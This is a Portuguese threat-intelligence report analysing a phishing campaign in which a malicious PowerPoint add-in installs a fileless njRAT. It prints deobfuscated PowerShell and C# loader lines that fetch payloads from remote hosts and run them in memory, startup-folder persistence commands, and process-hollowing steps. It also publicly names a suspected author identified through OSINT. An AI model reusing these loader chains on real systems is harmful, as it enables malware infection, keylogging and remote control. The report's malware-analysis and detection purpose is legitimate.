O alerta de um phishing que distribuía um Power Point malicioso foi feito pelos pesquisadores Ankit Anubhav e Germán Fernández, que entraram em contato com o time da ISH. Esses pesquisadores atribuíram a ameaça ao NjRAT, especificamente a uma vertente de nome NYAN CAT.
O motivo do contato foi a mensagem em português que acompanhava um dos anexos maliciosos observados, ComprovanteXdeXreserva.ppam (SHA1 – 94572d313222700a565f2ff161223bb28464636c). Seu demonstrativo segue:
É curioso observar que a mensagem faz alusão a um anexo em formato .doc (documento Word), mesmo o e-mail carregando um arquivo .ppam. De posse do documento malicioso, partimos para sua análise estática.
Macro maliciosa comentada
Uma análise do arquivo em questão revelou uma única macro, sem quaisquer tentativas de ofuscação. Pelo contrário, partes do código continham comentários explicando sua função. Reproduzimo-la abaixo.
Uma busca pelos comentários sugere que parte do código foi copiado de um tópico de agosto de 2010 do fórum technet da Microsoft, Excel file to UTF-8 Encoded Text file.
Comentários como ‘Specify stream type – we want To save text/string data. são idênticos entre a resposta acima e a macro encontrada. O nome da variável usada para o stream object, fsT, também é idêntico. A única diferença é a codificação: enquanto o código da technet especifica utf-8, a macro especifica utf-16.
É interessante observar que o código é voltado para salvar texto com no formato Unicode. O motivo para isso se tornará óbvio em breve. Em suma, o que o documento .ppam faz é salvar o conteúdo de uma página web (hxxps://wtools[.]io/code/raw/b8GX) em um script de Visual Basic (x.vbs) e executá-lo via wscript.exe.
Ofuscação com Unicode e Base64
O site wtools possibilita o compartilhamento de código em um formato similar ao pastebin: o conteúdo nele hospedado fica disponível para requisições do tipo GET. Ele será usado de maneira recorrente ao longo da cadeia de infecção. Uma visita ao endereço referenciado pela macro fornece um script ofuscado, como demonstrado abaixo.
A imagem acima esclarece o motivo para que o encoding em Unicode seja preservado: o código é ofuscado com símbolos, que serão removidos por funções de substituição. O símbolo “♌” será apagado e as strings que o continham serão escritas de trás para frente. Como resultado dessas transformações, temos a seguinte string:
"'\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LwFWp.vbs')"
Trata-se de um arquivo, LwFWp.vbs, salvo no diretório Startup. Isso é uma ferramenta de persistência: scripts e programas salvos nesse diretório são executados automaticamente quando o usuário correspondente realiza login.
A sequência “┌♍” também será apagada, mas sem a o passo posterior de reversão. Essas informações serão combinadas para formar:
"[System.IO.File]::Copy('adRbe','C:\Users\'[Environment]::UserName'\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LwFWp.vbs')
Uma linha de código ofuscado logo em seguida é responsável por usar a string acima e compor o comando que resultará na persistência no sistema afetado. Após a retirada da ofuscação, o comando é
cmd.exe /c ping 127.0.0.1 -n 5 & cmd.exe /c "powershell -command "[System.IO.File]::Copy('adRbe','C:\Users\'[Environment]::UserName'\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LwFWp.vbs'
A ação de ping no endereço localhost (127.0.0.1) serve apenas para aguardar por 5 requisições (-n 5) antes de executar o restante do código. Isso é similar ao emprego da função sleep, comumente vista em malwares. Em seguida, o prompt de comando chamará o powershell, passando-lhe um comando para copiar o conteúdo de x.vbs (salvo pela macro no diretório temporário) para a pasta de Startup. Em um momento futuro, após a execução completa do script, uma nova instância do Powershell removerá x.vbs (residente na pasta temporária) por meio do comando Remove-Item.
Curiosamente, a análise dinâmica mostrou que o arquivo criado na pasta Startup tinha o nome de JXG.vbs, não LwFWp.vbs. Seu conteúdo, entretanto, era o mesmo de x.vbs.
Para a infecção em si, a substituição de caracteres Unicode e a reversão de string são combinadas com a codificação em base64. Um exemplo disso é visto na variável GlmHt:
Perceba que dentro dos parênteses, após a abertura de aspas, há o caractere “=”. Isso é uma pista de que se trata de uma string em base64. Os caracteres “✍✍” serão substituídos por “A”, enquanto a sequência de variáveis “ppDqQ & VgGCC & ppDqQ” será substituída pela letra “Z”. Após reverter e decodificar o base64, encontramos o seguinte comando:
GlmHt = $.p.I.C.w.v. .=. .'.%.A.P.y.j.d.a.U.Y.a.k.%.'.;.[.B.y.t.e.[.].]. .$.H.W.q.M.Q. .=. .[.S.y.s.t.e.m...C.o.n.v.e.r.t.].:.:.F.r.o.m.B.a.s.e.6.4.S.t.r.i.n.g.(. .$.p.I.C.w.v. .).;.[.S.y.s.t.e.m...A.p.p.D.o.m.a.i.n.].:.:.C.u.r.r.e.n.t.D.o.m.a.i.n...L.o.a.d.(.$.H.W.q.M.Q.)...G.e.t.T.y.p.e.(.'.C.l.a.s.s.L.i.b.r.a.r.y.3...C.l.a.s.s.1.'.)...G.e.t.M.e.t.h.o.d.(.'.R.u.n.'.)...I.n.v.o.k.e.(.$.n.u.l.l.,. .[.o.b.j.e.c.t.[.].]. .(.'.W.G.8.b./.w.a.r./.e.d.o.c./.o.i...s.l.o.o.t.w././.:.s.p.t.t.h.'.).).
Os pontos entre caracteres são uma característica de armazenamento de strings em Unicode (cada caractere é separado por um byte nulo, que é traduzido como “.”). Para facilitar a leitura, utilizamos um simples script em python para remover os pontos desnecessários:
string = [STRING EM UNICODE]
unistring = “”
for i in range(0, (len(string)-1)):
if i == 0:
unistring += string[i]
i+=1
if string[i-1] == ".":
if string[i-2] == "." and string[i] == ".":
pass
else:
unistring += string[i]
i+=1
print(unistring)
A saída do script nos fornece o seguinte:
$pICwv = '%APyjdaUYak%';[Byte[]] $HWqMQ = [System.Convert]::FromBase64String( $pICwv );[System.AppDomain]::CurrentDomain.Load($HWqMQ).GetType('ClassLibrary3.Class1').GetMethod('Run').Invoke($null, [object[]] ('WG8b/war/edoc/oi.slootw//:sptth'))
Embora ainda não totalmente desofuscado, o comando é legível o suficiente para que dele derivemos alguns pontos de atenção (destacados em vermelho). Em primeiro lugar, há o termo %APyjdaUYak%. Outra parte do script aponta pelo que ele deve ser substituído pela variável OPKSn. Renomeamos algumas funções e removemos a ofuscação para tornar o conteúdo dessa variável mais fácil de compreender:
OPKSn = ReplaceString(ReverseString(GET_Reponse("hxxps://wtools[.]io/code/raw/b833")), "ÐÐÐ","A")
Em suma, o código recupera o conteúdo de outra página do wtools (destacada em vermelho), o inverte e substitui a sequência “ÐÐД pela letra “A”. Ao aplicarmos essas transformações manualmente, encontramos mais um conteúdo codificado em base64. Ao decodificá-lo é possível notar um cabeçalho (header) de arquivo executável:
Esse executável é uma DLL em .NET chamada ClassLibrary3.dll (SHA1: 9402d8272486ae59afadadc2f0cc3fdf5db258928fee44de3392b8b5d301743a). É interessante notar que essa DLL não é salva em disco, mas sim lida do wtools e passada como argumento ao Powershell. Isso é uma característica de malware fileless: os payloads nunca tocam o disco, existem apenas em memória.
O comando do Powershell que estamos analisando faz referência a essa DLL:
GetType('ClassLibrary3.Class1').GetMethod('Run')
O método “Run” é a próxima etapa de nossa análise. Por se tratar de um executável .NET, usamos o dnSpy para descompilá-lo. Inspecionando o código do método Run, encontramos o seguinte:
A primeira parte do código traz a variável text, que receberá o conteúdo de mais uma URL escrita ao contrário, contendo um arquivo txt:
hxxps://ia804600[.]us[.]archive[.]org/4/items/rumpe-03/Rumpe03[.]txt
Esse arquivo possui diversos caracteres de bonecos de neve (☃):
O restante do código substitui cada dois bonecos de neve pela letra A e reverte o texto:
text = Strings.StrReverse(text);
text = text.Replace("☃☃", "A");
Assim como visto diversas vezes ao longo dessa análise, após a substituição de caracteres e reversão do texto, o resultado está codificado em base64. Após decodificação, temos mais um executável:
Esse é mais um executável .NET, ClassLibrary1.dll (SHA1: 1b898622bc4a5a37320ec01e93f798fdf9c3b22f5b147532005a33b6a564b00b). Retomando o código de ClassLibrary3.dll, nota-se uma referência a essa nova DLL:
string text2 = new WebClient
{
Encoding = Encoding.UTF8
}.DownloadString(Strings.StrReverse(QBXtX));
text2 = Strings.StrReverse(text2);
string str = "C:\\Windows\\Microsoft.NET\\Framework";
str += "\\v4.0.30319";
AppDomain.CurrentDomain.Load(ClassLibrary1.dll.GetType("ClassLibrary1.Class1").GetMethod("Run").Invoke(null, new object[]
{
str + "\\RegAsm.exe",
Convert.FromBase64String(text2)
});
É interessante observar que o trecho destacado em verde, ClassLibrary1.dll, é ocupado pelo executável em si em memória, tal qual o comportamento fileless de ClassLibrary3.dll. Essa nova DLL também utiliza um método chamado Run. Via dnSpy, podemos confirmar quais os argumentos passados a este método:
O primeiro argumento é string path, ou um arquivo com seu caminho completo em disco. Do código de ClassLibrary3.dll descobrimos que se trata de C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe.
O segundo argumento é data em bytes, representado no código por Convert.FromBase64String(text2). Se trata de mais um conteúdo a ser decodificado a partir de uma string base64. Qual conteúdo? Aquele contido na variável text2. Retomemos a parte do código referente a ela:
string text2 = new WebClient
{
Encoding = Encoding.UTF8
}.DownloadString(Strings.StrReverse(QBXtX));
text2 = Strings.StrReverse(text2);
Trata-se de conteúdo codificado em Unicode (UTF8), que será baixado na variável QBXtX; essa variável também é o único parâmetro recebido pelo método Run de ClassLibrary3.dll.
Relembremos o código de Powershell que obtivemos do script vbs:
$pICwv = 'ClassLibrary3.dll';[Byte[]] $HWqMQ = [System.Convert]::FromBase64String( $pICwv);[System.AppDomain]::CurrentDomain.Load($HWqMQ).GetType('ClassLibrary3.Class1').GetMethod('Run').Invoke($null, [object[]] ('WG8b/war/edoc/oi.slootw//:sptth'))
Invertendo o texto destacado em vermelho, chegamos à última URL do wtools.io: hxxps://wtools[.].io/code/raw/b8GW. Recuperado seu conteúdo, devemos inverter o texto e decodificá-lo de base64 (prometo que essa é a última vez que precisaremos fazer isso):
Esse executável é o payload final, uma versão do njRAT chamada Client.exe (SHA-1: 2ef51053667af029a1eefa8f35b92e9b8ccb2871). Assim como as duas DLLs, esse também é um executável .NET que nunca é salvo em disco (malware fileless).
Uma última revisão da chamada de ClassLibrary3.dll:
AppDomain.CurrentDomain.Load(ClassLibrary1.dll).GetType("ClassLibrary1.Class1").GetMethod("Run").Invoke(null, new object[]{“C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe” , Client.exe});
Lembrando que os termos em verde são os executáveis em si, decodificados em memória.
Process Hollowing
Sabemos que ClassLibrary3.dll é um executável responsável por decodificar em memória ClassLibrary1.dll e executá-la, passando o binário do Windows RegAsm.exe e o njRAT em memória (Client.exe) como argumentos. Mas o que ClassLibrary1.dll faz exatamente? Uma consulta no VirusTotal fornece uma pista:
Vereditos da Kaspersky, Avast e outros antivírus o classificam como Injector. Visto que ele recebe um payload (Client.exe) e um arquivo legítimo do Windows (RegAsm.exe), podemos teorizar que seu propósito é criar um processo legítimo e injetar conteúdo malicioso dentro dele. Uma das técnicas para essa ação é chamada de Process Hollowing.
Uma rápida investigação estática do executável traz mais evidências dessa possível funcionalidade. Trata-se dos seguintes métodos:
kernel32.dll: CreateProcess, GetThreadContext, Wow64GetThreadContext, SetThreadContext, Wow64SetThreadContext, ReadProcessMemory, WriteProcessMemory, VirtualAllocEx, ResumeThread
ntdll.dll: NtUnmapViewOfSection
Destacados em negrito estão métodos que são comumente usados em conjunto para Process Hollowing. A sequência é:
- Criar um processo suspenso (CreateProcess);
- Remover seu executável de sua memória (NtUnmapViewOfSection);
- Alocar a região antes ocupada por esse executável (VirtualAllocEx);
- Escrever nela o executável malicioso(WriteProcessMemory);
- Resumir o processo (ResumeThread).
Inspecionando o executável no dnSpy, buscamos pelo uso que ele faz de VirtualAllocEx:
A documentação da Microsoft para desenvolvedores especifica os argumentos da API em questão:
O último argumento é o que nos interessa: flProtect. Tratam-se das flags que instruem o Windows quais proteções devem ser conferidas àquela nova região alocada na memória. No código de ClassLibrary1.dll vemos que esse parâmetro recebe o valor decimal 64 (0x40 em hexadecimal). Segundo a documentação de proteções, a flag 0x40 equivale à proteção PAGE_EXECUTE_READWRITE. Essa proteção é comumente usada em injeções, visto que permite a escrita do código malicioso e a sua execução pelo processo que foi alvo da técnica.
Para confirmar nossa hipótese que o processo de RegAsm.exe será alvo de hollowing, partimos para a análise dinâmica. Executamos o documento malicioso e observamos que, de fato, um processo do Powershell deu origem a um processo RegAsm.exe. Utilizando a ferramenta vmmap da SysInternals, inspecionamos a memória desse processo.
Eis os pontos importantes da imagem acima. Em primeiro lugar, a janela de strings mostra que temos um executável mapeado no intervalo de memória 0x00400000 – 0X0040BFFF (sabemos disso pela mensagem presente no cabeçalho DOS de todo executável: “!This program cannot be run in DOS mode.”).
Por trás dessa janela, podemos ver que esse executável está na região Private Data, demonstrada pela cor amarela. Essa é a primeira anomalia: todas as imagens de executáveis de um processo ficam na região Image, demonstrada pela cor roxa.
Em segundo lugar, na coluna Protection, vemos que o endereço 0x00400000 possui a proteção Execute/Read/Write. Isso também é anômalo, uma vez que todos os executáveis mapeados para um processo devem possuir a proteção Execute/Read durante a execução.
Por fim, temos o conteúdo da janela de strings em si. Há uma menção a Client.exe (o nome da versão do njRAT passado como argumento para ClassLibrary1.dll), assim como o termo suspeito Keylogger.
Juntas, essas evidências confirmam nossa teoria sobre ClassLibrary1.dll: seu objetivo é criar um processo de RegAsm.exe e substituir em memória o executável legítimo pelo njRAT.
Análise de Client.exe (njRAT)
Classe Keylogger
Recorremos mais uma vez ao dnSpy para analisar esse binário. Um ponto interessante para iniciar a análise é a classe Keylogger, cujo nome vimos entre as strings do processo RegAsm.exe após a injeção do njRAT. Esse componente é autoexplicativo: registra cada tecla pressionada pela vítima durante a execução do malware. Essas teclas são então convertidas a um formato legível e eventualmente transmitidas para o controlador do malware.
Esse trecho do código demonstra que o keylogger diferencia entre teclas maiúsculas e minúsculas, além de anotar o uso das teclas Enter e Tab como [ENTER] e [TAP], respectivamente.
O método AV tem como objetivo registrar a janela ativa. Seu nome é unido à data da captura das teclas pressionadas (“yy/MM/dd “).
O método WRK é responsável por salvar o conteúdo coletado pelo keylogger. Para isso, usa o método Program.SaveValueOnRegistry com o argumento this.vn. Esse argumento é definido no começo da classe Keylogger:
Nota-se que this.vn = “[kl]”. Entendemos disso que o conteúdo capturado do teclado será salvo em algum lugar do registro, sob uma chave de nome [kl]. Para saber qual chave, é necessário inspecionar a classe Program.
Classe Program
Nessa classe é possível inspecionar variáveis estáticas para obter as configurações do malware.
O C2 é definido em host, fidapeste2[.]duckdns[.]org, com a porta associada definida em port, 5552.
A variável registryName (94b3fabc19494c) fornece o nome da entrada criada no registro pelo njRAT. Isso é visível nos métodos de operação no registro, DeleteValueFromRegistry, GetValueFromRegistry e SaveValueOnRegistry:
Juntando essa informação àquilo que entendemos do funcionamento do keylogger, podemos inferir que as teclas registradas serão salvas em Computer\HKEY_CURRENT_USER\Software\94b3fabc19494c\[kl]. Para confirma essa hipótese, realizamos um teste em ambiente virtualizado:
Na imagem acima, vemos que essa chave realmente existe no local teorizado. Seu conteúdo traz a data e o nome da janela ativa. O texto em destaque mostra que uma das etapas de nosso teste consistiu em escrever “essa eh outra janela” no Notepad++.
O keylogger não registrou que o foco do usuário mudou para o menu iniciar, fazendo com que a busca por “regedit” fosse erroneamente atribuída ao Notepad++.
Retornemos aos campos restantes da configuração do RAT. A variável victimName traz em base64 o termo NYAN CAT, associado a um builder do njRAT. A variável version denota a versão do njRAT, 0.7NC. O splitter é usado no envio de dados para o C2 do malware. Isso é visível na inspeção do método Connect:
A linha Program.Send é um exemplo de seu uso: ela envia, no ato da conexão, o texto inf@!#&^%$ (“inf” + Program.splitter) seguido a uma string codificada em base64. Essa string conterá inputs capturados pelo keylogger disponíveis na chave de registro [kl], aqui identificada pelo termo “vn”.
Também serão adicionados a essa string informações de host (fidapeste2[.]duckdns[.]org), porta (5552), seguida do diretório e nome do executável do RAT (FileInfo(Application.ExecutablePath)). É interessante observar que essa infecção não salva Client.exe em disco; possivelmente o retorno dessa função nessas circunstâncias seria o caminho de RegAsm.exe.
Outra funcionalidade característica do njRAT é a possibilidade do malware de desinstalar a si próprio. Isso é realizado pelo método Uninstall:
Essa rotina exclui a entrada de registro que armazena inputs capturados pelo keylogger (HKEY_CURRENT_USER\Software\94b3fabc19494c\[kl]) e exclui a cópia em disco do njRAT por meio do prompt de comando.
Assim como observado nas considerações do método Connect, a infecção aqui analisada tem esse malware apenas em memória. Assim, o método de desinstalação removeria os inputs capturados do teclado, mas não haveria uma cópia em disco de Client.exe a ser excluída.
Esse RAT possui mais módulos além das funcionalidades de keylogger, comunicação com um servidor de comando e desinstalação. Para não estender demais essa análise, já bem extensa, decidimos nos focar apenas nas funcionalidades que retratamos até então.
Atribuição de componentes
Durante a análise do mecanismo de infecção desta campanha, notamos que o criador de ClassLibrary3.dll deixou na versão final de seu executável uma menção ao arquivo de símbolos do debugger do Visual Studio (marcado pela extensão .pdb). A referência a esse arquivo demonstra que a DLL em questão teve seu arquivo de símbolos salvo em:
C:\Users\pjoao\Desktop\UpCry\Metodo DF\ClassLibrary3\ClassLibrary3\obj\Release\ClassLibrary3.pdb.
Ao buscar na internet pela string UpCry associada a pjoao, encontramos um usuário de youtube com um vídeo publicado em novembro de 2021, intitulado “!! Update Upcry bypass WD 2021 exe to vbs !!”.
Esse vídeo traz algumas pistas interessantes. Em primeiro lugar, ele demonstra o uso de um builder do NYAN CAT para njRAT. A porta usada na demonstração do autor do vídeo também é a mesma vista na amostra que analisamos, 5552.
Outro ponto curioso é o sotaque do tal pjoao, claramente da região nordeste do Brasil. Isso gera uma associação com o C2, “fí da peste”, um coloquialismo da mesma área. Como o autor utiliza sempre o mesmo apelido em diversas atividades na internet, conseguimos confirmar via OSINT que ele se chama João Paulo e é residente de Caruaru, Pernambuco.
Em seu vídeo, João mostra uma versão do njRAT chamada Client.exe (mesmo nome observado por nós) sendo codificada em base64 e então revertida. Em seguida, ele copia o resultado em texto e hospeda-o em um site similar ao wtools.
Outro ponto interessante é o tal UpCrypt (ou UpCry, a grafia é inconsistente), ferramenta de aparente autoria de João Paulo. Essa ferramenta fornece a possibilidade de “converter” um executável em vbs.
É interessante observar também as opções “Copy Startup VBS” e “Install and delete VBS”. Esse comportamento é similar àquele observado para x.vbs, onde o script se copiava para a pasta Startup e depois era excluído do diretório temporário.
A opção Run Memory (provavelmente a intenção era escrever “Run From Memory”) tem assinalada a opção “Rumpe01”. Vale lembrar que o executável responsável por Process Hollowing, ClassLibrary1.dll, estava hospedado como Rumpe03. Um domínio pobre da escrita, tanto em português quanto em inglês, é evidente no site pessoal de João Paulo. Assim, entendemos que o termo Rumpe é provavelmente uma tentativa de escrever RunPE, um apelido dado à técnica de Process Hollowing.
Essa ferramenta é vendida por João Paulo, como ele mesmo afirma nos comentários de outro de seus vídeos.
Uma análise de seu site pessoal confirma que o UpCrypt (ou UpCry, a grafia do autor é inconsistente) está à venda por 600 reais ou 110 dólares.
Estudando as etapas dessa cadeia de infecção, observamos uma certa dissonância entre a complexidade de seus componentes. A macro maliciosa, por exemplo, sugere um autor de pouquíssima experiência (vide a manutenção de comentários em linhas copiadas da internet). Se João Paulo realmente criou a ferramenta UpCrypt, ele não deveria cometer erros dessa natureza.
Apesar de mais complexa que a macro, a ofuscação do script vbs também possui passos que apontam para um programador que detém pouco conhecimento, como por exemplo a reversão de uma string três vezes consecutivas (qualquer reversão ímpar tem o resultado idêntico a uma única reversão).
Por fim, existe também uma clara diferença de complexidade entre a DLL responsável pelo Process Hollowing (ClassLibrary1.dll) e aquela criada por João Paulo (ClassLibrary3.dll). ClassLibrary1 é muito mais sofisticada em sua ofuscação. É provável tratar-se de uma DLL pronta para RunPE que é aproveitada pelo UpCrypt, como indicado pelas opções “Rumpe”. O njRAT em si também não foi criado por João Paulo.
Temos alta confiança que o script VBS usado nessa cadeia de infecção foi gerado pela ferramenta UpCrypt, teoricamente criada por ele. Entretanto, não podemos afirmar com certeza que toda a campanha parte do João.
Um dos pontos que sugere ser esse o caso é a configuração do RAT. A porta usada pela amostra que analisamos é a mesma demonstrada por João em seu tutorial, enquanto o endereço escolhido para o C2 é compatível com expressões populares da região onde ele mora.
Por outro lado, João publica seus tutoriais de maneira aberta no YouTube e vende a ferramenta UpCrypt. Dada a facilidade de uso dela e do builder do njRAT, é possível que um criminoso de baixa experiência com programação e malwares simplesmente comprou a ferramenta e seguiu os passos demonstrados por João Paulo.
Agradecimentos:
Ankit Anubhav e Germán Fernández por compartilharem o documento malicioso em questão e os resultados de suas análises dinâmicas. Os dois pesquisadores também discutiram conosco algumas etapas da análise, o que sem dúvidas agilizou todo o processo de estudo dessa campanha.
Siga o time de inteligência da ISH no twitter
IOCs
SHA256
623027463a2ef70f60ff6a0991019847a3fb24da3b633b52da4a99a77c99f92b ComprovanteXdeXreserva.ppam
82c9d74c9a8688ed1fffd53e3b8ffaf9ae8f85a843f34412d15f88b18ce134a9 x.vbs
Os seguintes hashes não servem para detecção desses executáveis em disco, uma vez que eles só existem em memória. Fornecemo-nos caso algum pesquisador deseje baixar algum dos executáveis para estudar melhor seu funcionamento. Todos os três estão disponíveis no MalwareBazaar.
1b898622bc4a5a37320ec01e93f798fdf9c3b22f5b147532005a33b6a564b00b ClassLibrary1.dll
9402d8272486ae59afadadc2f0cc3fdf5db258928fee44de3392b8b5d301743a ClassLibrary3.dll
08dd5907b25f93be9300016865aae429318e00969a1b875bfabe2018403ebd40 Client.exe
Registro
Computer\HKEY_CURRENT_USER\Software\94b3fabc19494c\[kl]
Persistência
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\ JXG.vbs
Rede
URL C2: fidapeste2[.]duckdns[.]org
IP e porta: 45[.]186[.]40[.]140:5552
URLs de recuperação dos payloads:
hxxps://wtools[.]io/code/raw/b8GX
hxxps://wtools[.]io/code/raw/b833
hxxps://wtools[.].io/code/raw/b8GW
hxxps://ia804600[.]us[.]archive[.]org/4/items/rumpe-03/Rumpe03[.]txt
Strings em memória que sugerem infecção:
Keylogger
cmd.exe /C Y /N /D Y /T 1 & Del "
fidapeste2.duckdns.org
94b3fabc19494c
TllBTiBDQVQ=